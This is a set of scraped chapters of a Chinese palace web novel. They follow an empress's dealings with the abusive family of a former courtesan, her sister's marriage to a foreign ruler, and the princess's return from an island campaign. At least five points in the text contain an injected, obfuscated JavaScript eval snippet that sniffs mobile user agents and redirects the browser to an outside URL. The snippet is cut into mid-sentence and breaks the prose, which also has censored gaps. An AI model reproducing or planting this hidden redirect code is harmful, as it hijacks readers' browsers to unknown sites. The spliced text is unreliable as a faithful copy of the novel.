“你说的是什么话呀,我们家姑子可是个好心人,我们家姑子曾经去给秦国公府里的小主子当奶娘呢。”崔氏不敢抬头,可精明着呢。 她只是不敢说当今皇后曾经是秦国公府的少夫人,但这事儿皇后娘娘自己心里不明镜儿似的?如今叫他们来,她认为必定是知道小张氏**,想要给她的亲人一些体恤银子。 偏偏一个下人一开口就阴阳怪气的,她虽然不是什么富贵人,可也知道尊卑有别,下人还能越过去主子,当家做主了? 林宝娘冷笑:“你倒是知道的多,小张氏明明可以过富贵日子,你们就欺她孝顺,让你们的老娘以死相逼,让她归家,霸占她的钱财还不知足,还要害她染了脏病,是不是?” “你胡说八道!”崔氏顿时翻脸了,她可不是好惹的主,这个小贱蹄子的话,明显是要害死他们的! 温令仪一点儿也不着急,其实她本可以自己处理了张宝和崔氏,虽不会伤他们性命,但不该他们得到的,一个子儿也不会给,之所以把人叫来,其实是为了让林宝娘明白,过去的小张氏和现在的她,再无瓜葛了。 亲人是劫数,一样是心不死道不生。 崔氏一拧身,对着温令仪的方向,哭嚎着说:“皇后娘娘,我们家小姑子可不是我们骗回来的,她说自己不能当娘了,没有子嗣有金银也无用,回来是为了孝敬亲娘老子,也是想要从我们两口子这里过继个一儿半女,这样也不会到老了没有个依靠仰仗。” 林宝娘听到这话,眼泪都掉下来了,这崔氏有一张巧嘴儿,颠倒黑白最是厉害。 “本来我们都把小姑子当成财神爷一般供着的,可我这小姑子是个寂寞不得的人,我家婆母,唉,子不言父过,何况我这个外来的媳妇儿,也不能评价长辈不是,这娘俩一合计就去重操旧业了。”崔氏说到这里,咬牙切齿:“我家这个没用的男人也不阻拦,我能有什么法子?” 温令仪看林宝娘只顾着掉眼泪,轻轻地叹了口气,你说就这个性子能不被人欺负? “这么说,你这个嫂嫂是好人了?”温令仪出声。 崔氏立刻磕头:“是,是的,都是女人,我能不体谅小姑子不容易和难处吗?我也希望她能找个好人过正经日子,可是她自己吃不得过寻常日子的苦,都是婆母给教坏了,如今婆母**,小姑子也不在了,造孽啊,也算是遭罪到头了。” “崔氏,听说你有两个女儿,大女儿在议亲,小女儿也十二岁了,对吧?”温令仪问。 崔氏心就一哆嗦,不知道皇后娘娘提这个做什么,呐呐的回道:“是。” 温令仪点头:“当年小张氏怀上身孕,本想要留着腹中孩儿伴她余生,有这回事吧?” 崔氏眼珠子乱转,到底不敢撒谎,说道:“是有这回事,但是婆母不让留下孽种。” “老虔婆不让,是她该死!打胎的药用了两副不见效果,是谁亲自动手,把那可怜的孩子从小张氏腹中掏出来的?几乎要了小张氏的命?”温令仪问。 崔氏这下害怕了,猛地抬起头看温令仪。 林嬷嬷早就气得牙根痒痒了,见她抬头,厉声:“放肆!” 崔氏差点儿趴在地上。 温令仪淡淡的说:“你觉得你的女儿要嫁良人,嫁妆少了会被人瞧不上,你的男人嗜赌成性根本指望不上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林宝娘听到这里,只是冷笑,哪里还有什么伤心难过的感觉:“张宝,这两个女儿都是别人的种,就是你儿子也是隔壁周福根的,你不是都知道吗?现在你们俩都自身难保,小张氏**,但是这个仇,我给报!” 张宝猛地抬起头,愕然的瞪大了眼睛,不敢相信的看着林宝娘:“你,你是谁?” 第338章 这好像不止是温家的事吧 林宝娘冷笑:“怎么?认识我吗?” “小妹,你是小妹?”张宝是真不敢相信自己的眼睛,毕竟眼前的人衣着华丽,虽然瘦弱但神采奕奕,就算是刚哭过,眼睛红红的,但这个人的气度跟妹妹比起来,变化天差地别。 林宝娘摇头:“你想多了,你见过得了脏病还能活下来的人吗?你们磋磨她那么久,不就是等着她死吗?她**,但是你们不会如愿的,因为她所有的一切都是主子赏给她,让她安稳度日的,你们非但没有让她安稳度日,还丧心病狂的害了她的性命,作为她的金兰姐妹,我要为她报仇的!” 崔氏也抬头端详林宝娘,也觉得像极了小张氏,可听到这一番话也觉得有道理,毕竟得了脏病真没有能活下来的人,小张氏**,**不正好吗?为啥会冒出来这么一个人,报仇? “你报个什么仇?”崔氏不干了,起身指着林宝娘:“你的手也伸得太长了,我们家的事情轮不到外人管。” “主子赏赐的所有,都必须收回。”林宝娘已经平静了,眼前这两个人吸血鬼一样,更是杀身仇人,自己这辈子活得太糊涂了,以后要好好的为自己活着。 崔氏撇嘴儿:“你以为皇后娘娘是你这等下*贱*人吗?赏赐的东西根本没有收回去的道理!贵人才不在乎这点儿玩意儿,闭上你的臭嘴,我们自会好好安葬小妹的。” “本宫觉得,安葬小张氏的事无需你们操心,但是你们确实对不起她,也不用你们多考虑了,本宫送你们去见她,好好赎罪就行。”温令仪说。 林宝娘面色丝毫未变,这两个人死不死跟自己没关系,从最开始到现在,自己从来都不欠他们任何! 包括生母亦是如此,生了自己却从不曾善待自己,更是让自己成为遭人唾弃的妓子,为他们赚银子,这样的亲人,自己以前是猪油蒙了心,认为是太穷才会如此,实则不然,穷人家也不都是无情无义之辈,甚至于穷人家才会更互相疼惜。 张宝听说要死,磕头哐哐响,崔氏也不敢再多说一个字,只顾着磕头。 “要钱不要命,要命不要钱,你们选。”温令仪说。 张宝赶紧说:“要命,要命,全都还给小妹。” 崔氏不敢吭声,心有不甘可也要看对上谁,这会儿只觉得能活着走出去,那都是老天照应了。 林宝娘如数家珍的说了自己所有的东西,林嬷嬷亲自执笔记下来,温令仪吩咐人去收回这些,虽然少了一些,可真正要收回来的不是面上这些,而是让林宝娘真正的跟过去一刀两断。 张宝和崔氏离开女学,回到家里看到一切都没了的破烂家,哭嚎的女儿们和儿子,崔氏跪坐在地上嚎啕大哭。 哭着哭着,突然想起来张宝在外面有外室,外室竟要生孩子了,发疯一般扑过来和张宝扭打在一起:“你个窝囊废,还敢有外室!今天看老娘不把你撕碎了!” 张宝也是一肚子怨恨,特别是看到三个孩子,这三个孩子竟都不是自己的血脉,哪里还能惯着崔氏? 突然,崔氏不动了,瞪大双眼低头看着腹部,不知道刚才两个人扭打的时候,张宝是怎么拿出来了刀。 张宝也愣怔了片刻,可也仅仅几个呼吸之间就发疯了一般拼命的**崔氏,三个孩子早就吓得跑出去,哭喊着找人救命了。 等人们听到消息过来帮忙的时候,崔氏和张宝双双殒命。 消息送到温令仪耳中的时候,温令仪正在跟林宝娘、周灵娘和周灵玉说话,三个人已经定下来了,要陪着天成子去龙首山。 “要回去看看吗?”温令仪问。 林宝娘摇头:“皇后娘娘说的对,小张氏已经**,关于和她有关系的一切都结束了。” 温令仪点了点头,让人去收敛,至于三个孩子也都不小了,自生自灭去吧。 天成子带着她们离开了京城,龙首山里传授药王谷的医术。 周灵娘和周灵玉特别尊敬林宝娘,周灵玉更是把林宝娘当成是母亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令仪得知萧玄策又来提亲,到萧玄策以国礼再来大昭,已经是春三月的时候了,一起归来的还有得了诏书,归京议婚的大昭女将军温令容。 温令容入宫,见到妹妹的时候免不得露出羞赫之色。 “长姐,心仪他?”温令仪笑着拉住温令容的手,轻声问。 都不再年轻了,如今的温令容更不是当年的下堂妇,而是手握凤翎军的大昭女将军,若说两国联姻,从古至今就没有女将军嫁给他国的,但温令容的婚事显然是特例。 因为不管是温家还是裴祈安,谁都没觉得萧玄策和温令容成亲有什么不妥。 温令容笑着点了点头,尽管脸上火辣辣的,可到底是自家姐妹,并不想隐瞒心意,低声说:“他以半壁江山为聘,我觉得可以嫁,如今大昭凤翎军已成型,就算我不在漠北凤翎军,凤翎军依旧是军中最锋利的**。” “长姐,当初让你建凤翎军,去漠北,其实是怕你总觉得自己不如人,如今萧玄策再提亲,不止是他要掂量轻重,也是让长姐相信,站在萧玄策身边的你,凭的是自己的本事。”温令仪说:“囡囡的那点子小心思,必定不会瞒着长姐的。” 这话说的温令容笑出声来:“其实,囡囡的想法是对的,大昭安宁,大周安宁,这边是最强的同盟,以后更是会亲如一家。” 翌日早朝。 温令容交出凤翎军,回到温家待嫁。 萧玄策按照礼数,登门温家提亲。 温城请萧玄策去书房,温长安和温慕春、温慕阳都在,对于温家嫡长女的婚事,温家格外重视,更因为提亲的是萧玄策,温家不得不处处都考量周全。 “温老爷子,如今我已完全统治了西域三十六国,并往西征战中,若此次大昭皇帝能玉成此事,大周会往西迁都,让出曾经分走的西凉半数国土,作为谢礼答谢大昭,同时,虽玄策非大昭人,但心仪之人是大昭人,婚俗礼仪都按大昭的嫁娶规矩办,不会委屈大小姐一丝一毫。” 萧玄策取出来婚书,双手奉上时又说:“若温家应允这门婚事,玄策会在大昭迎娶大小姐,待回去大周后,再按照大周礼仪迎娶她,并且册封为后。” 温城双手接过婚书,纯金打造的婚书上,字字句句都让温城十分满意,温家两个女儿,一个是大昭的皇后,一个似乎也注定了是大周的皇后。 当晚,温家设宴款待萧玄策,裴祈安和温令仪便装出宫。 婚事定下来后,裴祈安昭告天下,钦天监择了良辰吉日,一个月后的四月二十八完婚。 一家人再次聚到一起,其乐融融,早在一年前温家就开始密集的为温令容准备嫁妆,所以并不会因为婚期太近就手忙脚乱。 其实,不管是裴祈安还是温家都知道,温令容的婚事落不到别处。 裴祈安给了温令容最大的庇护,丹书铁券和上将军的殊荣,以国礼操持婚事。 成亲当日,温令容在温令仪的陪同下等着萧玄策登门迎娶。 为了迎娶温令容,萧玄策在京中置办了宅院,并且西域三十六国都来祝贺,四月二十八这里,大昭京城里人山人海,都来观礼。 洞房里,温令容静静地坐着,身边伺候的丫环婆子都是会陪着她往大周去的人。 萧玄策来到洞房,喜娘按照大昭婚俗操持后续礼仪后,二人坐在喜床上,彼此对望。 “终是得偿所愿,玄策无以为报,唯此生为酬,与我的妻相约白头。”萧玄策握着温令容的手,有些激动的说。 温令容轻轻地靠在萧玄策的怀里:“夫君是天人之姿,为妻以前哪里敢肖想,今日成婚亦是万分感激夫君疼爱之情,必会相守白头的。” 龙凤烛跳动的烛火,幔帐内的两情相悦。 温令容在想,自己这一生算不上完美,但十分圆满,曾经的所有挫折,都成就了今日的自己,往后余生,身边有他,肩负两国一家亲的使命,是她所求,更是她这辈子都要去做的事。 萧玄策为了表示自己对温令容的敬重,三朝回门到住对月的礼数都考虑周全了。 温家也不为难萧玄策,说是住对月,只是留温令容住了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349113|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚便送回。 定下六月初二回大周后,裴祈安和温令仪便把准备好的陪嫁单子交到了温令容的手中,以国之公主的规格,准备了最好的嫁妆,是大昭对这门婚事的看重。 六月初二这一日,浩浩荡荡的队伍从皇宫出发,温家陪嫁的马车队伍等在路边,跟在最后。 凤翎军担任护送之责,从大昭京城护送温令容到大周皇宫。 看着远去的队伍,温令仪眼圈泛红,轻轻地靠在裴祈安的怀里:“玉郎,总觉得越是长大,离别越是难以承受,长姐此去,不知余生是否还能见到了。” “会见到的。”裴祈安轻轻地顺着温令仪的背,柔声说:“明年此时若不动身去大周,那明年年底也会往大周去一趟的。” 温令仪抬眸看裴祈安,两个人都知道,长姐临盆之日,他们必定会在的。 送别归来,温令仪在宫门口见到了林宝娘。 “皇后娘娘,奴婢如今学有所成,回女学授课。”林宝娘跪在温令仪面前,有些激动,但更多的是期待,她要成为大昭所有产妇和婴儿的守护者! 温令仪让林宝娘起身,问道:“龙首山里可好?” “一切都好,奴婢在山中两年,得老道长悉心教导,更学会了巫医族的祝由术,虽只是单一专精,但足够了,奴婢夙愿便是能亲自为大昭迎许许多多的婴儿,让他们平安来到人间。”林宝娘眼神坚定的看着温令仪。 温令仪赞许的点头:“你是林宝娘,不是谁的奴婢,以后是女学的夫子,要为大昭各地的医馆培养出更多的妇科儿科女郎中。” “但,奴婢在您跟前,觉得这般自称才心里安然。”林宝娘说。 温令仪点了点林宝娘的脑门:“即便是在本宫面前,也不许你自轻自贱,林夫人,等日后可监管慈幼院,那些无所依的孩子都是你的孩子,如何?” 林宝娘眼圈泛红,跪地磕头:“是,臣接旨。” 看着林嬷嬷送林宝娘离开的背影,温令仪轻声对碧桃说:“该让奶娘荣养了,她们母女互相陪伴,也该享受一下生活了。” 第340章 野心勃勃的裴明熙 若是从前,林嬷嬷是无论如何都不会答应的,她从第一次见到还是小婴儿的主子时,就觉得这辈子都会跟在主子身边,不管经历了多少风风雨雨,其实在她心里,对温令仪是一种慈母心情,只不过如今主子身份太高,这份心思不敢表达出来丝毫。 “皇后娘娘,老奴陪在女儿身边,也是为您做事,老奴愿意荣养。”林嬷嬷说。 温令仪眼角泛红,若说自己这一生,从刚出生到今天的每一步都是林嬷嬷陪在身边,缓缓地吸了口气:“奶娘,现在阿宁能让您放心了。” 林嬷嬷笑着点头:“是的,我家姑娘最是厉害。” 温令仪低头抹掉眼泪,抬头也是满脸笑意:“所以,奶娘要享一享福。” 林嬷嬷是第二天离开皇宫的。 就在女学旁边,原本是天成子置办的宅子,温令仪差人修葺后,安排了充足的人手伺候林嬷嬷和林宝娘。 在林嬷嬷离开的这一天,碧桃和海棠都胆战心惊的害怕,生怕主子多看她们一样,她们也会像林嬷嬷这般离开主子。 温令仪太了解自己身边的几个人了,笑着摇头。 可没过几天,赐婚的懿旨就落到了二人手里,为二人择婿是温令仪早在两年前就开始准备的事了,宫中侍卫中,家世背景不需高,但人品过硬,最重要的是碧桃和海棠喜欢,同时也必须是喜欢碧桃和海棠的人。 如此精准赐婚到了心上人,碧桃和海棠除了惊喜外,更多的是感动。 温令仪为她们操持婚事,大婚后二人每日晨起入宫,日落归家,不用再在宫里值夜。 如此安排也让碧桃和海棠心里满是感激,毕竟跟着主子这么多年,真是不能离开主子。 大昭如今,处处都安定繁荣。 温令仪每天除了查看各处的账目外,就是教导裴佑玺了。 裴佑玺已经三岁,每天晨起就不闲着,温令仪都有些担心这孩子累坏了,可谁能想得到这么小的孩子,拦都拦不住,晨起习武,早膳后去读书,晚间还打坐练功。 天天如此,一日不间断,甚至温令仪觉得自己的教导是多余的,这是坐在旁边陪着就好。 京城又落雪了。 温令仪收到了裴明熙的第二封信,这封信很长,她静静地看着。 本来要练功的裴佑玺悄悄地凑过来坐在母后身边,看着书信上的字字句句都让他心生向往,更多的是想姐姐。 “无染。”温令仪偏头轻轻地拥着儿子在怀里:“娘亲想姐姐了。” 裴佑玺小小的手盖在温令仪的手背上,轻轻地拍了拍:“娘亲,无染也想姐姐,姐姐真是了不起,我要像姐姐一样。” “可是,姐姐现在应是很艰难的时候。”温令仪知道书信送回来得三五个月,三五个月前裴明熙率领舰队出海,去接应顾清弦,至于顾清弦为何要去接应,裴明熙在书信里没说,但温令仪知道必定是顾清弦遇到了大事。 五师兄离开药王谷就出海了,这么多年都十分顺遂,来去虽说多数都在海上,可商贾所过之处都很受欢迎的,但这次裴明熙说去接应,她十分担忧。 裴佑玺低声:“娘亲啊,我觉得姐姐是想要出征。” 温令仪愣了一下,低头看着裴佑玺:“无染是觉得姐姐想要收服更多国家,所以才会以接应为借口,如此才能让战船出海吗?” “嗯。”裴佑玺说:“远交近攻,乃立国之本,姐姐在四珍岛,对大昭来说是近攻下的江山,可四珍岛外,对大昭来说是远,对姐姐来说是可近攻的地方啊。” 温令仪抬起手压了压额角,裴佑玺说的有道理,主要是裴明熙是真能干出来这样的事情。 处理政务后的裴祈安回到后宫,见温令仪抱着裴佑玺,母子二人正在看墙上挂着的舆图,曾经的大昭,西全吞下了曾经的西凉,东,逐步扩张的海域越来越大。 负手而立站在妻儿身后,就听裴佑玺说:“姐姐的目标应是这条航线上的三个小国,即便不能一次吞下,也必定会逐步蚕食,若是这三个小国也成为大昭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352243|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麾下之臣,那么大昭的货物可以走的更远。” 裴祈安微微点头,他的儿子竟也不弱。 “可是,四珍岛就算是有三国拱卫,还是不足够的。”温令仪说。 裴佑玺抿了抿唇角:“大昭的水师可以出征了啊。” 裴祈安走过来,捏了捏裴佑玺的脸蛋儿:“无染怎么知道水师可以出征了啊?” “父皇,姐姐一定会上奏折,奏折肯定送到父皇手里,给母亲写的家书多是聊家常嘛。”裴佑玺说:“父皇,你是不是还想要去看看?” 裴祈安笑出声来:“是啊,父皇确实想要出去看看,可是无染太小,无法监国,若是你长大了,父皇就会放心让你监国,再带着你的母后出海,去看看你那野心勃勃,开疆拓土的姐姐了。” 裴佑玺撅着嘴儿:“那父亲治理国家,无染可以跟着水师出去看看啊,父皇说姐姐三岁就去了大周呢。” 温令仪扶额:“你们可别争这个了,明日我回去一趟,长兄可以随水师出征,去保护囡囡,你们三个难道都不想让我省省心?” 裴佑玺立刻贴在温令仪怀中撒娇起来。 裴祈安拥着温令仪:“哪里还要你回去请?长兄昨日便上了奏折,大昭要在四珍岛设立衙门,如此才能更好的治理臣服的三国。” “是觉得三国不老实吗?”温令仪问。 裴祈安点头:“天下大势,总分久必合合久必分,三国从最初想要攻打大昭,到最后不得不臣服,大昭若不能拿出来切实可行的办法治理三国,那极有可能会有后患。” 温令仪灵机一动:“那商贾可以入四珍岛,是不是五师兄以后也会更方便出海?” “当然,如今只有一件事还没定下来,兄长代表大昭设衙门在四珍岛,那么四珍岛上的四大家族该如何安排。”裴祈安说:“所以这次不会是兄长一个人去,而是大昭要派遣使团。” 裴佑玺偷偷看裴祈安:“父皇,水师是以护航使团的借口,实则去找姐姐吗?” 第341章 她要回家,怎么办? 裴祈安笑着抱起来裴佑玺:“吾儿还小,但颇有姐姐风范,裴家后继有人了。” 裴佑玺乖巧的靠在裴祈安的怀里没吭声,他虽每天都能见到父皇,但打心底是不愿意跟父皇亲近的,他喜欢姐姐,只是姐姐离得太远,他很着急长大,只有长大了才能去找姐姐,至于父皇,好好陪着母后就行了。 温令仪把舆图遮好,让父子俩去沐浴,她收拾好了账目坐下来给女儿写回信。 心里有万语千言,可提起笔却不知道从何说起,虽然知道女儿是与众不同的,可就算孩子再厉害,作为母亲,她的牵挂一点儿也不少,对不在身边的裴明熙,更多的是担忧。 夜深人静的时候,温令仪发现裴祈安披衣起身,悄悄地出门去了,在心里默默地叹了口气,随后起身准备了热茶,端着来到书房。 书房里,裴祈安立在大昭舆图前,海域图不断在扩大,可身为父亲的牵挂也因这扩大的海域愈发沉重了,开疆拓土从来都不是容易的事,她的女儿还小,负担太重了。 听到脚步声,裴祈安回头看着温令仪,勉强勾了勾唇角:“阿宁,我想囡囡。” “我也是。”温令仪放下茶盏:“可又不能像寻常人家的父母,说一句让孩子回家的话。” 裴祈安走过来握着温令仪的手:“我知道囡囡有她要做的事,可这种分别着实熬人。” “那玉郎是想要让囡囡回来?”温令仪问。 裴祈安点了点头:“等囡囡大一些,哪怕十六岁都可以,任凭她去做任何事情,现在想要放在身边几年,只是不知道她是否会听话。” “那玉郎写信给囡囡。”温令仪何尝不是这样的心思,亲自给研墨。 裴祈安提笔片刻,落笔后,字字句句都是牵挂,末了写道:吾儿囡囡,为父和你的娘亲都是寻常父母,挂念吾儿许久未归,见信当知父母半生缘,不可久别,速归家。 放下笔,裴祈安抬头见温令仪眼眶发红,起身轻轻地拥温令仪入怀:“阿宁,囡囡见到书信,必定会回来的,水师出发时带去家书,同时会召汪家为首的四家族入京,任汪直为奉政大夫的诏书已经草拟完毕,别担心是,很快就能一家团圆了。” “有时候啊,真羡慕寻常人家。”温令仪说。 裴祈安轻轻地拍了拍温令仪的后背:“在孩子面前,我们本就是寻常人家的父母,只是大昭的未来啊,囡囡似乎有很多期待,等这次归来,我不会再让她离开我们,余生漫长,她无需如此着急。” “嗯。”温令仪心里就是这么想的。 ***四珍岛。 裴明熙立在船头,汪直陪在身边,海风猎猎。 “大昭的水师!”裴明熙抬起手指着远处的帆影,语气里尽是兴奋,把手里的望远镜交给汪直:“您看,大昭果然成功了。” 汪直透过望远镜看到那巨大的舰船,也止不住的激动,接触的多了,汪直越发觉得大昭的未来非常可怕,可怕到自己都觉得当初去攻打大昭的行为,愚蠢和可笑。 不过,不曾后悔过,若非那次攻打大昭,四珍岛就永远都不知道未来在哪里。 “裴明熙!”远处,少年站在快艇上,对着裴明熙大声呼喊。 裴明熙看到少年立在船头,笑着招了招手:“汪亦安,你看那边。” 说着,指向大昭舰队的方向。 汪亦安接过来身边人递上的望远镜,看到大昭的战舰,除了震惊还有钦佩,这是裴明熙到四珍岛最初就画出来的船图,只可惜四珍岛一直都没能建造出来这么大的舰船,大昭是个什么样的国度?他想要去看看。 快艇靠近裴明熙的舰船,汪亦安一纵身落在裴明熙的身边:“裴明熙,大昭真成功了,我们这次一定能打败岐国。” 裴明熙扬起笑脸:“嗯,一定。” 在落日余晖把海面铺上了一层金光的时候,大昭的舰船终于靠岸了。 赵诚率先下了舰船,手里擎着圣旨:“四珍岛汪家、李家、周家、陈家家主接旨!” 汪直率领三位家住跪在地上,后面是四大家族的族人。 赵诚气沉丹田,声如洪钟大吕:“奉天承运皇帝,制曰:朕闻上古圣人治世,德泽披于四海,教化行于八荒。故凡有华*夏血脉,虽远在重洋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴明熙从灯火通明的议事厅走出来时,海风正好拂过她耳边的碎发。她望着站在礁石上眺望大海的汪亦安,少年挺拔的背影在月色下仿佛一株迎着海风生长的小松树。她勾了勾唇角,声音清亮:“汪亦安,跟着我回家怎么样?” “啊?”汪亦安猛地回头,小麦色的脸上写满惊诧。海浪在他身后拍打出雪白的泡沫,仿佛他此刻波澜骤起的心绪。 裴明熙一步步走到他面前,海风将她的裙裾吹得猎猎作响。她需要微微仰头才能看清少年的全貌——不过十一岁的年纪,却已经比她高出半个头了。她望进他深邃的眼底,认真地说:“跟我回大昭,怎么样?” 汪亦安望向远处海面上的战船,声音低沉:“我本想留在这里,投军报国的。”他的拳头不自觉地握紧,“你想要打下岐国,我愿意留在这里,为你打下岐国。” 裴明熙轻轻摇头,月光在她眼中流转:“方才父皇来信中说,我还太小,不懂父母半生缘。”她的声音忽然柔软下来,带着几分与她年龄不符的怅惘,“这话让我想了许多。而你也不过十一岁,攻打岐国大有人在。汪家和所有四珍岛的人都要回去大昭,你也一同回去。”她向前半步,海风将她的发丝吹到他的衣襟上,“我弟弟已经三岁了,需要个伴读。你和我一起陪着弟弟长大,至于报国——”她微微一笑,眸光璀璨如星,“余生漫漫,必定有机会的。” 汪亦安觉得自己的心跳得厉害,脸上微微发烫。他低下头,看见自己的影子与她的交织在一起,忽然鼓足了勇气,伸手握住裴明熙的手腕:“走,我带你去看看。” 裴明熙好奇地挑眉:“看什么?” “到了你就知道了。”汪亦安的声音里带着少年人特有的倔强和神秘。 他拉着她穿过四家族聚居的村落。夜色中的小屋错落有致,窗棂里透出温暖的灯光。几个老人坐在门前抽着水烟,看见他们经过时露出慈祥的笑容。裴明熙注意到,尽管这里的建筑简陋,但每条小路都打扫得干干净净,家家户户门前都挂着驱邪的海螺和渔网——这是四珍岛居民世代相传的习俗。 越往村落后面走,灯光越稀疏,海浪声越清晰。月光洒在蜿蜒的小路上,仿佛铺了一层银霜。汪亦安的手心有些汗湿,但仍然坚定地牵着她向前走。裴明熙能感觉到他指尖的薄茧——那是常年练习弓马留下的印记。 村落后面有一座不高但陡峭的山,山前有一片被礁石环抱的空地。在这里,海浪拍打礁石的声音震耳欲聋,飞溅的水花在月光下如同碎银般耀眼。 他们刚一露面,原本躲在礁石后面的少年们纷纷跑出来。大约十来个孩子,从六岁到十二岁不等,个个皮肤是健康的小麦色,眼睛在月光下亮得惊人。 “大哥,我们都要回去吗?”一个约莫十岁的男孩急切地问汪亦安。他腰间别着一把木制短刀,说话时手还按在刀柄上。 汪亦安点了点头,转向裴明熙时眼神坚定:“公主殿下说,我们可以陪着大殿下长大。”他扫视着眼前的少年们,“你们愿不愿意成为大殿下的护卫?” “我们愿意!” 少年们的声音整齐划一,在海浪声中显得格外铿锵。裴明熙注意到,尽管年纪尚小,但他们站姿笔挺,眼神中透着超乎年龄的坚毅。 汪亦安低声对裴明熙说:“这些是四大家族挑选出来的孩子。我本想训练出一支只属于公主殿下的护卫。” 他的声音忽然低了下去,带着一丝不易察觉的失落,“但公主殿下回大昭后,怕是我们再见很难。”他抬起头,目光灼灼,“公主殿下既想要让亦安做太子伴读,那我这些兄弟也可以成为太子的护卫。” 裴明熙凝视着这群少年。海风掀起他们的衣摆,月光勾勒出他们稚嫩却坚毅的轮廓。她看见那个最小的孩子努力挺直腰板,模仿着身边大孩子的样子;她看见站在最右边的少年手指不自觉地比划着剑招;她看见每个人眼中都闪烁着期待与忠诚。 “好!”裴明熙的声音清晰而坚定,在海风中传得很远。 她心中明镜似的:四大家族回归京城,虽得父皇正式册封,但那些终究是虚职。能否在朝中站稳脚跟,还得各凭本事。正因如此,此时为弟弟培养挑选肱股之臣,是最好的时机。而四大家族也必定会倾尽全力培养能接近天家人的族中子弟——这是一场双向的奔赴,彼此心照不宣。 汪亦安脸上绽开一个明朗的笑容,他转向众少年,声音陡然扬起:“都回去准备好,三日后,我们一起回大昭!” 少年们发出压抑的欢呼声,很快又恢复成整齐的队列。最先开口的那个少年——李少泽上前一步,对裴明熙行了一个标准的军礼:“誓死护卫太子殿下!” 其他少年纷纷效仿。尽管动作还带着几分稚嫩,但那份郑重其事的态度,让裴明熙不禁动容。 汪亦安轻声解释道:“少泽是李家这一辈中最出色的孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴明熙微微一笑,伸出手:“那么,我们回家。” 汪亦安握住她的手,两个相视而笑。身后,海浪拍打着礁石,仿佛在为他们奏响壮行的乐章。四珍岛的夜空中,星河璀璨,照亮着通往未来的路。 三日后,十余艘艨艟巨舰驶离四珍岛。最高大的楼船甲板上,以汪亦安为首的少年们整齐列队,向着渐渐远去的故土行最后一个告别礼。 裴明熙站在舰首,海风扬起她绯色的披风。汪亦安走到她身边,听见她轻声道:“看,太阳升起来了。” 东方海平面上,一轮红日喷薄而出,金光万道,照亮无垠的海面,也照亮少年们前行的道路。 汪亦安望着被朝霞染红的海天交界处,轻声应和:“是的,新的开始。” 舰船破浪前行,载着一个时代的希望,向着大昭的方向,坚定不移地驶去。 第343章 长公主归京 四珍岛的风浪仿佛还在耳边回响,裴明熙站在船头,望着渐渐清晰的大昭海岸线,心中涌起难以言喻的复杂情绪。海风拂过她晒黑的脸庞,带着故土特有的气息。这一趟出海,历时近两年,她不再是当初那个任性的小公主了。 船队缓缓驶入归海府的港口时,已是腊月初。码头上早有官员等候,见船靠岸,纷纷跪地相迎:“恭迎公主殿下回朝!” 裴明熙微微颔首,声音沉稳:“诸位请起。” 四大家族的护卫分列两侧,护送着她走下船板。踏上大昭土地的那一刻,她几乎要落下泪来,却强自忍住。她是大昭的长公主,代表着皇室的尊严,不能在外人面前失态。 从归海府回京的路上,裴明熙明显感觉到四大家族的态度比以往更加恭敬。想来也是,这两年她在四珍岛上的作为,早已传回大昭。她不仅成功调解了岛上的部族纷争,还开辟了新的贸易路线,为大昭带来了可观的海上收益。 腊月二十,京城遥遥在望。 裴明熙坐在马车内,手指微微颤抖。越是接近京城,她越是控制不住内心的激动。她想念父皇严肃却关怀的眼神,想念母后温柔的怀抱,还有那个总是跟在她身后叫“姐姐”的小家伙。 “殿下,皇上和皇后娘娘,还有太子殿下,亲自出城三十里相迎。”车外传来侍卫长的通报。 裴明熙心中一暖,忙道:“停车,我骑马前去。” 换上骏马,裴明熙一夹马腹,率先向前奔去。远远地,她看见了那抹明黄色的华盖,看见了站在华盖下的三个身影。 “父皇!母后!”她高喊着,翻身下马,快跑几步,双膝跪地就要行礼。 